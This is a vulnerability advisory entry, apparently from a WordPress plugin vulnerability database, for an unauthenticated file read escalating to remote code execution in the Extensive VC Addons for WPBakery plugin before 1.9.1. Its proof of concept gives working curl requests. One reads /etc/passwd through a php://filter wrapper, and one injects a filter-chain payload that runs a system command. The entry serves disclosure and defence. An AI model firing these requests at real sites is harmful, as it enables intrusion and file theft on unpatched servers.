WordPress Plugin Vulnerabilities

Extensive VC Addons for WPBakery page builder < 1.9.1 - Unauthenticated RCE

Description

The plugin does not validate a parameter passed to the php extract function when loading templates, allowing an unauthenticated attacker to override the template path to read arbitrary files from the hosts file system. This may be escalated to RCE using PHP filter chains.

Thanks to Valentin Lobstein for reporting the escalation to RCE.

Proof of Concept

LFI:

curl 'https://example.com/wp-admin/admin-ajax.php' \
    -d 'action=extensive_vc_init_shortcode_pagination&options[template]=php://filter/convert.base64-encode/resource=/etc/passwd'


RCE:

Using https://github.com/synacktiv/php_filter_chain_generator to generate the filter chain payload.

payload=`php_filter_chain_generator/php_filter_chain_generator.py --chain '<?php system("sleep 5"); ?>' | grep --color=never 'php://filter'`

time curl 'https://example.com/wp-admin/admin-ajax.php' \
    -d 'action=extensive_vc_init_shortcode_pagination&options[template]='$payload

Affects Plugins

Fixed in 1.9.1

References

Classification

Type
RCE
OWASP top 10
CWE

Miscellaneous

Original Researcher
dc11
Submitter
dc11
Verified
Yes

Timeline

Publicly Published
2023-01-25 (about 1 years ago)
Added
2023-01-23 (about 1 years ago)
Last Updated
2023-12-05 (about 5 months ago)

Other